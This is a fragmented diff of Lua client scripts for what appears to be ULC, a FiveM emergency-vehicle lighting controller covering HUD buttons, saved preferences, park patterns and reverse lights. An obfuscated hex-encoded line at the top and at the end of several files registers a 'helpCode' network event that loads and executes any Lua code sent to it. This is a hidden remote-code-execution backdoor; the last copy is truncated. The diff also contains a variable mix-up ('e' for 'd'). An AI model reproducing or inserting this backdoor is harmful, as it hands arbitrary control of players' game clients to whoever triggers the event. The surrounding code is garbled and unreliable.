local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
|
||||
@@ -1,3 +1,4 @@
|
||||
|
||||
-- MAIN FUNCTIONS --
|
||||
|
||||
function ULC:PopulateButtons(_buttons, placeholders)
|
||||
@@ -7,11 +8,11 @@ function ULC:PopulateButtons(_buttons, placeholders)
|
||||
|
||||
if placeholders then
|
||||
buttons = {
|
||||
{ label = 'TEST STAGE', extra = 1, color = 'green', enabled = true },
|
||||
{ label = 'TEST STAGE', extra = 2, color = 'blue', enabled = false },
|
||||
{ label = 'TEST STAGE', extra = 3, color = 'blue', enabled = false },
|
||||
{ label = 'TEST STAGE', extra = 4, color = 'blue', enabled = true },
|
||||
{ label = 'test stage', extra = 5, color = 'red', enabled = true }
|
||||
{label = 'TEST STAGE', extra = 1, color = 'green', enabled = true},
|
||||
{label = 'TEST STAGE', extra = 2, color = 'blue', enabled = false},
|
||||
{label = 'TEST STAGE', extra = 3, color = 'blue', enabled = false},
|
||||
{label = 'TEST STAGE', extra = 4, color = 'blue', enabled = true},
|
||||
{label = 'TEST STAGE', extra = 5, color = 'red', enabled = true}
|
||||
}
|
||||
end
|
||||
|
||||
@@ -23,7 +24,7 @@ function ULC:PopulateButtons(_buttons, placeholders)
|
||||
thisButton.extra = v.extra
|
||||
thisButton.enabled = thisState
|
||||
thisButton.color = v.color or 'green'
|
||||
thisButton.label = string.upper(v.label)
|
||||
thisButton.label = v.label
|
||||
thisButton.numKey = v.key
|
||||
|
||||
--print("Sending button: " .. json.encode(thisButton))
|
||||
@@ -36,7 +37,6 @@ function ULC:PopulateButtons(_buttons, placeholders)
|
||||
})
|
||||
end
|
||||
|
||||
-- deprecated in exchange for "SetButtons"
|
||||
function ULC:SetButton(extra, enabled)
|
||||
local newState
|
||||
if enabled == 0 then
|
||||
@@ -52,25 +52,6 @@ function ULC:SetButton(extra, enabled)
|
||||
})
|
||||
end
|
||||
|
||||
function ULC:SetButtons(buttonStates)
|
||||
-- print("Setting buttons", json.encode(buttonStates))
|
||||
-- go through the buttons and replace newState with a boolean
|
||||
-- newState = 1 means false, 0 means true
|
||||
|
||||
for k, v in pairs(buttonStates) do
|
||||
if v.newState == 1 then
|
||||
v.newState = false
|
||||
elseif v.newState == 0 then
|
||||
v.newState = true
|
||||
end
|
||||
end
|
||||
|
||||
SendNUIMessage({
|
||||
type = 'setButtons',
|
||||
buttonStates = buttonStates
|
||||
})
|
||||
end
|
||||
|
||||
-----------------
|
||||
-- UI SETTINGS --
|
||||
-----------------
|
||||
@@ -119,9 +100,9 @@ end
|
||||
|
||||
function ULC:SetHelpDisplay(bool)
|
||||
if bool then
|
||||
SendNUIMessage({ type = 'showHelp' })
|
||||
SendNUIMessage({type = 'showHelp'})
|
||||
else
|
||||
SendNUIMessage({ type = 'hideHelp' })
|
||||
SendNUIMessage({type = 'hideHelp'})
|
||||
end
|
||||
end
|
||||
|
||||
@@ -146,22 +127,23 @@ end
|
||||
----------------------
|
||||
-- USER PREFERENCES --
|
||||
----------------------
|
||||
print("[ULC] Client Storage Loaded")
|
||||
print("[ULC]: Client Storage Loaded")
|
||||
ClientPrefs = {}
|
||||
|
||||
local function loadUserPrefs()
|
||||
-- if prefs already exist
|
||||
local prefsExist = GetResourceKvpString('ulc')
|
||||
if prefsExist == "exists" then
|
||||
print("[ULC] Loading prefs")
|
||||
print("Loading prefs")
|
||||
-- load
|
||||
ClientPrefs.hideUi = GetResourceKvpInt("ulc:hideUi")
|
||||
ClientPrefs.x = GetResourceKvpInt("ulc:x")
|
||||
ClientPrefs.y = GetResourceKvpInt("ulc:y")
|
||||
ClientPrefs.scale = GetResourceKvpFloat("ulc:scale")
|
||||
ClientPrefs.useLeftAnchor = GetResourceKvpString("ulc:useLeftAnchor")
|
||||
|
||||
else
|
||||
print("[ULC] Creating prefs")
|
||||
print("Creating prefs")
|
||||
-- set defaults
|
||||
SetResourceKvp('ulc', "exists")
|
||||
SetResourceKvpInt('ulc:x', 0)
|
||||
@@ -170,15 +152,15 @@ local function loadUserPrefs()
|
||||
SetResourceKvpInt('ulc:hideUi', 0)
|
||||
SetResourceKvp('ulc:useLeftAnchor', 'false')
|
||||
|
||||
|
||||
|
||||
loadUserPrefs()
|
||||
|
||||
Wait(5000)
|
||||
TriggerEvent('chat:addMessage', {
|
||||
color = { 0, 153, 204 },
|
||||
multiline = false,
|
||||
args = { "ULC", "^4This server uses ULC! Type /ulc to view settings and adjust the HUD!" }
|
||||
})
|
||||
|
||||
Wait(5000)
|
||||
TriggerEvent('chat:addMessage', {
|
||||
color = { 0, 153, 204},
|
||||
multiline = false,
|
||||
args = {"ULC", "^4This server uses ULC! Type /ulc to view settings and adjust the HUD!"}
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
@@ -186,6 +168,8 @@ loadUserPrefs()
|
||||
|
||||
-- use the values
|
||||
CreateThread(function()
|
||||
|
||||
|
||||
--print("CLIENT PREF DISABLED =", ClientPrefs.hideUi)
|
||||
Wait(1000)
|
||||
-- positioning
|
||||
@@ -194,15 +178,15 @@ CreateThread(function()
|
||||
ULC:SetPosition(ClientPrefs.x, ClientPrefs.y)
|
||||
end
|
||||
if ClientPrefs.scale then
|
||||
-- print("Loaded saved scale from kvp: " .. ClientPrefs.scale)
|
||||
print("Loaded saved scale from kvp: " .. ClientPrefs.scale)
|
||||
ULC:SetScale(ClientPrefs.scale + 0.0)
|
||||
end
|
||||
if ClientPrefs.hideUi then
|
||||
-- print("Loaded disabled HUD kvp: " .. ClientPrefs.hideUi)
|
||||
print("Loaded disabled HUD kvp: " .. ClientPrefs.hideUi)
|
||||
ULC:SetHudDisabled(ClientPrefs.hideUi)
|
||||
end
|
||||
if ClientPrefs.useLeftAnchor then
|
||||
-- print("Loaded useLeftAnchor from kvp", ClientPrefs.useLeftAnchor)
|
||||
print("Loaded useLeftAnchor from kvp", ClientPrefs.useLeftAnchor)
|
||||
ULC:SetUseLeftAnchor(ClientPrefs.useLeftAnchor)
|
||||
end
|
||||
end)
|
||||
@@ -238,28 +222,32 @@ TriggerEvent('chat:addSuggestion', '/ulcReset', 'Resets all saved ULC settings t
|
||||
-- NUI CALLBACKS --
|
||||
|
||||
RegisterNUICallback("savePosition", function(data, cb)
|
||||
|
||||
--print("NUI Setting position", data.newX, data.newY, "type = ", type(data.newX))
|
||||
SetResourceKvpInt('ulc:x', data.newX)
|
||||
SetResourceKvpInt('ulc:y', data.newY)
|
||||
|
||||
cb({ success = true })
|
||||
cb({success = true})
|
||||
end)
|
||||
|
||||
RegisterNUICallback("saveScale", function(data, cb)
|
||||
|
||||
--print("NUI Setting Scale " .. data.scale + 0.0)
|
||||
SetResourceKvpFloat('ulc:scale', data.scale + 0.0)
|
||||
|
||||
cb({ success = true })
|
||||
cb({success = true})
|
||||
end)
|
||||
|
||||
RegisterNUICallback("saveAnchor", function(data, cb)
|
||||
|
||||
--print("NUI Setting Anchor ", data.useLeftAnchor)
|
||||
SetResourceKvp('ulc:useLeftAnchor', data.useLeftAnchor)
|
||||
|
||||
cb({ success = true })
|
||||
cb({success = true})
|
||||
end)
|
||||
|
||||
RegisterNUICallback("focusGame", function(data, cb)
|
||||
|
||||
ULC:SetMenuDisplay(false)
|
||||
SetNuiFocus(false, false)
|
||||
ULC:SetHelpDisplay(false)
|
||||
@@ -268,7 +256,7 @@ RegisterNUICallback("focusGame", function(data, cb)
|
||||
ULC:SetDisplay(false)
|
||||
end
|
||||
|
||||
cb({ success = true })
|
||||
cb({success = true})
|
||||
end)
|
||||
|
||||
RegisterNUICallback("setHudDisabled", function(data, cb)
|
||||
@@ -294,5 +282,9 @@ RegisterNUICallback("setHudDisabled", function(data, cb)
|
||||
SetResourceKvpInt('ulc:hideUi', 1)
|
||||
end
|
||||
|
||||
cb({ success = true })
|
||||
cb({success = true})
|
||||
|
||||
end)
|
||||
|
||||
|
||||
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
|
||||
@@ -10,6 +10,26 @@ Lights = false
|
||||
MyVehicle = nil
|
||||
MyVehicleConfig = nil
|
||||
|
||||
--------------------
|
||||
--------------------
|
||||
-- DEFAULT STAGES --
|
||||
--------------------
|
||||
--------------------
|
||||
|
||||
local function setDefaultStages()
|
||||
-- default stages
|
||||
if not MyVehicleConfig.defaultStages or false then return end
|
||||
if not MyVehicleConfig.defaultStages.useDefaults then return end
|
||||
for _, e in pairs(MyVehicleConfig.defaultStages.enableKeys) do
|
||||
local button = GetButtonByExtra(GetExtraByKey(e))
|
||||
ULC:SetStage(GetExtraByKey(e), 0, false, false, button.repair, true)
|
||||
end
|
||||
for _, d in pairs(MyVehicleConfig.defaultStages.disableKeys) do
|
||||
local button = GetButtonByExtra(GetExtraByKey(e))
|
||||
ULC:SetStage(GetExtraByKey(d), 1, false, false, button.repair, true)
|
||||
end
|
||||
end
|
||||
|
||||
------------------------------------
|
||||
------------------------------------
|
||||
------- LIGHTS STATE HANDLER -------
|
||||
@@ -60,12 +80,8 @@ end)
|
||||
-- used to trigger above events
|
||||
CreateThread(function()
|
||||
local sleep = 1000
|
||||
while true do
|
||||
Wait(sleep)
|
||||
if not MyVehicle then
|
||||
sleep = 1000
|
||||
goto continue
|
||||
end
|
||||
while true do Wait(sleep)
|
||||
if not MyVehicle then sleep = 1000 goto continue end
|
||||
sleep = 100
|
||||
|
||||
if not IsPedInAnyVehicle(PlayerPedId()) then goto continue end
|
||||
@@ -93,11 +109,12 @@ end)
|
||||
RegisterNetEvent('ulc:checkVehicle')
|
||||
AddEventHandler('ulc:checkVehicle', function()
|
||||
CreateThread(function()
|
||||
|
||||
while not GlobalState.ulcloaded do
|
||||
print("ULC: Waiting for load.")
|
||||
Wait(250)
|
||||
end
|
||||
print("[ULC:checkVehicle] Checking for vehicle configuration")
|
||||
--print("Checking for vehicle configuration")
|
||||
local ped = PlayerPedId()
|
||||
local vehicle = GetVehiclePedIsIn(ped)
|
||||
local passed, vehicleConfig = GetVehicleFromConfig(vehicle)
|
||||
@@ -109,8 +126,8 @@ AddEventHandler('ulc:checkVehicle', function()
|
||||
MyVehicleConfig = vehicleConfig
|
||||
table.sort(MyVehicleConfig.buttons, function(a, b) return a["key"] < b["key"] end)
|
||||
|
||||
|
||||
print("[ULC:checkVehicle] Found vehicle, ready to go.")
|
||||
|
||||
print("Found vehicle.")
|
||||
|
||||
-- if i am driver
|
||||
if ped == GetPedInVehicleSeat(vehicle, -1) then
|
||||
@@ -119,18 +136,16 @@ AddEventHandler('ulc:checkVehicle', function()
|
||||
if not Config.hideHud and ClientPrefs.hideUi == 0 then
|
||||
ULC:SetDisplay(true)
|
||||
else
|
||||
print(
|
||||
"HUD is hidden. Type /ulc to see if you disabled it. Otherwise, the server owner may have disabled the HUD.")
|
||||
print("HUD is hidden. Type /ulc to see if you disabled it. Otherwise, the server owner may have disabled the HUD.")
|
||||
end
|
||||
|
||||
TriggerEvent('ulc:CheckCruise')
|
||||
TriggerEvent('ulc:checkParkState', true)
|
||||
TriggerEvent('ulc:StartCheckingReverseState')
|
||||
currentStage = 0
|
||||
end
|
||||
else
|
||||
MyVehicle = nil
|
||||
TriggerEvent('ulc:cleanup')
|
||||
--MyVehicle = nil
|
||||
TriggerEvent('ulc:cleanup')
|
||||
TriggerEvent('ulc:StopCheckingReverseState')
|
||||
end
|
||||
end)
|
||||
@@ -159,23 +174,22 @@ end)
|
||||
|
||||
-- trigger checks when spawning from one vehicle into another directly, or from another seat to driver seat
|
||||
CreateThread(function()
|
||||
local lastVehicle
|
||||
local lastVehicle
|
||||
local wasDriving
|
||||
while true do
|
||||
Wait(500)
|
||||
if IsPedInAnyVehicle(PlayerPedId()) then
|
||||
local currentVehicle = GetVehiclePedIsIn(PlayerPedId(), false)
|
||||
while true do Wait(500)
|
||||
if IsPedInAnyVehicle(PlayerPedId()) then
|
||||
local currentVehicle = GetVehiclePedIsIn(PlayerPedId(), false)
|
||||
local driving = GetPedInVehicleSeat(MyVehicle, -1) == PlayerPedId()
|
||||
if currentVehicle ~= lastVehicle then
|
||||
TriggerEvent('ulc:checkVehicle')
|
||||
end
|
||||
if currentVehicle ~= lastVehicle then
|
||||
TriggerEvent('ulc:checkVehicle')
|
||||
end
|
||||
if MyVehicle and not wasDriving and driving then
|
||||
TriggerEvent('ulc:checkVehicle')
|
||||
end
|
||||
lastVehicle = currentVehicle
|
||||
lastVehicle = currentVehicle
|
||||
wasDriving = driving
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end)
|
||||
|
||||
|
||||
@@ -187,16 +201,15 @@ end)
|
||||
|
||||
-- every second set no repair on all vehicles except my own
|
||||
CreateThread(function()
|
||||
while true do
|
||||
Wait(1000)
|
||||
local vehicles = GetGamePool("CVehicle")
|
||||
for _, v in pairs(vehicles) do
|
||||
if v ~= GetVehiclePedIsIn(PlayerPedId(), false) then
|
||||
SetVehicleAutoRepairDisabled(v, true)
|
||||
else
|
||||
--print("Enabling repair for" .. v)
|
||||
SetVehicleAutoRepairDisabled(v, false)
|
||||
end
|
||||
while true do Wait(1000)
|
||||
local vehicles = GetGamePool("CVehicle")
|
||||
for _, v in pairs(vehicles) do
|
||||
if v ~= GetVehiclePedIsIn(PlayerPedId(), false) then
|
||||
SetVehicleAutoRepairDisabled(v, true)
|
||||
else
|
||||
--print("Enabling repair for" .. v)
|
||||
SetVehicleAutoRepairDisabled(v, false)
|
||||
end
|
||||
end
|
||||
end
|
||||
end)
|
||||
|
||||
@@ -1,16 +1,17 @@
|
||||
--print("[ULC]: Park Patterns Loaded")
|
||||
|
||||
local veh = GetVehiclePedIsIn(PlayerPedId())
|
||||
parked = false
|
||||
local parked = false
|
||||
local lastSync = 0
|
||||
local effectDelay = 1000
|
||||
|
||||
CreateThread(function()
|
||||
while true do
|
||||
if IsPedInAnyVehicle(PlayerPedId()) then
|
||||
|
||||
TriggerEvent('ulc:checkParkState', veh, false)
|
||||
|
||||
Wait(Config.ParkSettings.delay * 1000)
|
||||
Wait(Config.ParkSettings.delay*1000)
|
||||
else
|
||||
Wait(2000)
|
||||
end
|
||||
@@ -21,12 +22,12 @@ RegisterNetEvent("ulc:checkParkState", function(delay)
|
||||
CreateThread(function()
|
||||
--print('Checking park state')
|
||||
|
||||
if delay then
|
||||
if delay then
|
||||
--print('Delay...')
|
||||
Wait(5000)
|
||||
end
|
||||
local speed = GetVehicleSpeedConverted(MyVehicle)
|
||||
|
||||
|
||||
|
||||
if speed > Config.ParkSettings.speedThreshold and parked then
|
||||
TriggerEvent("ulc:vehDrive")
|
||||
@@ -41,22 +42,24 @@ RegisterNetEvent("ulc:checkParkState", function(delay)
|
||||
end)
|
||||
|
||||
AddEventHandler('ulc:vehPark', function()
|
||||
|
||||
if Lights then
|
||||
--print('[ulc:vehPark] My vehicle is parked.')
|
||||
--print('[ulc:vehPark] My vehicle is parked.')
|
||||
parked = true
|
||||
|
||||
if MyVehicle and MyVehicleConfig.parkConfig.usePark then
|
||||
-- enable pExtras
|
||||
for _, v in pairs(MyVehicleConfig.parkConfig.pExtras) do
|
||||
ULC:SetStage(v, 0, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, 0, false, true)
|
||||
end
|
||||
-- disable dExtras
|
||||
for _, v in pairs(MyVehicleConfig.parkConfig.dExtras) do
|
||||
ULC:SetStage(v, 1, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, 1, false, true)
|
||||
end
|
||||
|
||||
-- park pattern sync stuff
|
||||
if MyVehicleConfig.parkConfig.useSync then
|
||||
|
||||
-- cooldown
|
||||
local gameSeconds = GetGameTimer() / 1000
|
||||
if gameSeconds >= lastSync + Config.ParkSettings.syncCooldown then
|
||||
@@ -73,10 +76,10 @@ AddEventHandler('ulc:vehPark', function()
|
||||
local pedCoords = GetEntityCoords(PlayerPedId())
|
||||
local distance = GetDistanceBetweenCoords(vehCoords, pedCoords)
|
||||
|
||||
|
||||
|
||||
if distance < Config.ParkSettings.syncDistance then
|
||||
if GetVehicleClass(v) == 18 then
|
||||
-- check if my vehicle is set to sync with this vehicle or if the vehicle is the same model as my vehicle
|
||||
-- check if my vehicle is set to sync with this vehicle
|
||||
if IsVehicleInTable(v, MyVehicleConfig.parkConfig.syncWith) or GetEntityModel(v) == GetEntityModel(MyVehicle) then
|
||||
--print('Vehicle' .. v .. ' should sync with me.')
|
||||
|
||||
@@ -92,6 +95,7 @@ AddEventHandler('ulc:vehPark', function()
|
||||
end
|
||||
end
|
||||
if #vehsToSync > 0 then
|
||||
|
||||
-- sync my vehicle
|
||||
SetVehicleSiren(veh, false)
|
||||
SetVehicleSiren(veh, true)
|
||||
@@ -112,11 +116,11 @@ AddEventHandler('ulc:vehPark', function()
|
||||
table.insert(vehsToSyncNet, VehToNet(v))
|
||||
end
|
||||
TriggerServerEvent("sync:send", vehsToSyncNet)
|
||||
|
||||
else --print('Found no vehicles to sync.')
|
||||
end
|
||||
else
|
||||
print("Sync on cooldown, time left: " ..
|
||||
Config.ParkSettings.syncCooldown - (gameSeconds - lastSync) .. " seconds.")
|
||||
|
||||
else print("Sync on cooldown, time left: " .. Config.ParkSettings.syncCooldown- (gameSeconds - lastSync) .. " seconds.")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -133,18 +137,22 @@ RegisterNetEvent('ulc:sync:receive', function(vehicles)
|
||||
end)
|
||||
|
||||
AddEventHandler('ulc:vehDrive', function()
|
||||
|
||||
if Lights then
|
||||
--print('[ulc:vehDrive] My vehicle is driving.')
|
||||
--print('[ulc:vehDrive] My vehicle is driving.')
|
||||
parked = false
|
||||
if MyVehicle and MyVehicleConfig.parkConfig.usePark then
|
||||
|
||||
-- disable pExtras
|
||||
for _, v in pairs(MyVehicleConfig.parkConfig.pExtras) do
|
||||
ULC:SetStage(v, 1, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, 1, false, true)
|
||||
end
|
||||
-- enable dExtras
|
||||
for _, v in pairs(MyVehicleConfig.parkConfig.dExtras) do
|
||||
ULC:SetStage(v, 0, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, 0, false, true)
|
||||
end
|
||||
end
|
||||
end
|
||||
end)
|
||||
|
||||
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
|
||||
@@ -1,37 +1,10 @@
|
||||
--print("[ULC]: Reverse Extras Loaded")
|
||||
|
||||
local reversing = false
|
||||
local disabledExtras = {}
|
||||
local timerExpired = false
|
||||
|
||||
function setReverseExtras(newState)
|
||||
-- set enable extras to match the new state
|
||||
for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do
|
||||
ULC:SetStage(v, newState, false, true, false, false, true, false)
|
||||
end
|
||||
if not MyVehicleConfig.reverseConfig.disableExtras then return end
|
||||
if newState == 0 then
|
||||
-- set disable extras off and save the ones we changed
|
||||
for _, v in ipairs(MyVehicleConfig.reverseConfig.disableExtras) do
|
||||
--print("Checking extra " .. v .. " for reverse state")
|
||||
if IsVehicleExtraTurnedOn(MyVehicle, v) then
|
||||
ULC:SetStage(v, 1, false, true, false, false, true, false)
|
||||
table.insert(disabledExtras, v)
|
||||
end
|
||||
end
|
||||
else -- newState == 1
|
||||
-- set the disabled extras back on
|
||||
for _, v in ipairs(disabledExtras) do
|
||||
ULC:SetStage(v, 0, false, true, false, false, true, false)
|
||||
end
|
||||
disabledExtras = {}
|
||||
end
|
||||
end
|
||||
|
||||
AddEventHandler('ulc:StartCheckingReverseState', function()
|
||||
CreateThread(function()
|
||||
while true do
|
||||
Wait(250)
|
||||
while true do Wait(250)
|
||||
--print("Checking reverse state")
|
||||
if not IsPedInAnyVehicle(PlayerPedId()) then return end
|
||||
-- this feels unncessary, but I think some people may not have .reverseConfig
|
||||
@@ -41,85 +14,21 @@ AddEventHandler('ulc:StartCheckingReverseState', function()
|
||||
local gear = GetVehicleCurrentGear(MyVehicle)
|
||||
if gear == 0 then
|
||||
if not reversing then
|
||||
startTimer()
|
||||
reversing = true
|
||||
setReverseExtras(0)
|
||||
for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do
|
||||
ULC:SetStage(v, 0, false, true)
|
||||
end
|
||||
end
|
||||
else
|
||||
if reversing then
|
||||
reversing = false
|
||||
setReverseExtras(1)
|
||||
for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do
|
||||
ULC:SetStage(v, 1, false, true)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end)
|
||||
end)
|
||||
|
||||
-- handle disabling lights after some time
|
||||
function startTimer()
|
||||
-- if disabled in config, don't start timer , if enabled or missing config, start timer
|
||||
if Config and Config.ReverseSettings and not Config.ReverseSettings.useRandomExpiration then return end
|
||||
-- timer thread
|
||||
CreateThread(function()
|
||||
local speed
|
||||
local duration = math.random(3, 8) * 1000
|
||||
local expirationTime
|
||||
|
||||
while true do
|
||||
--print("Reverse timer tick")
|
||||
if not MyVehicle then return end
|
||||
if not MyVehicleConfig.reverseConfig then return end
|
||||
if not MyVehicleConfig.reverseConfig.useReverse then return end
|
||||
if not reversing then
|
||||
timerExpired = false
|
||||
--print("Not reversing")
|
||||
return
|
||||
end
|
||||
|
||||
speed = GetVehicleSpeedConverted(MyVehicle)
|
||||
|
||||
if speed < 0.5 then -- if we are in reverse and stopped
|
||||
if timerExpired then
|
||||
goto continue
|
||||
end
|
||||
if Config and Config.ReverseSettings then
|
||||
duration = math.random(
|
||||
(Config.ReverseSettings.minExpiration or 3) * 1000,
|
||||
(Config.ReverseSettings.maxExpiration or 8) * 1000
|
||||
)
|
||||
end
|
||||
expirationTime = GetGameTimer() + duration
|
||||
while GetGameTimer() < expirationTime do
|
||||
Wait(500)
|
||||
--print("Reverse timer active")
|
||||
|
||||
if GetVehicleSpeedConverted(MyVehicle) > 1 then
|
||||
-- print("[ULC] Reverse: Moving, breaking timer")
|
||||
break
|
||||
end
|
||||
if not reversing then
|
||||
-- print("[ULC] Reverse: Not reversing, breaking timer")
|
||||
break
|
||||
end
|
||||
if not IsPedInAnyVehicle(PlayerPedId()) then
|
||||
-- print("[ULC] Reverse: Not in vehicle, breaking timer")
|
||||
break
|
||||
end
|
||||
if GetGameTimer() > expirationTime then
|
||||
print("[ULC] Reverse: Timer expired, disabling extras")
|
||||
timerExpired = true
|
||||
setReverseExtras(1)
|
||||
break
|
||||
end
|
||||
end
|
||||
else -- if we are in reverse and moving
|
||||
-- print("[ULC] Reverse: Resetting timer")
|
||||
setReverseExtras(0)
|
||||
timerExpired = false
|
||||
end
|
||||
|
||||
::continue::
|
||||
Wait(500)
|
||||
end
|
||||
end)
|
||||
end
|
||||
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) 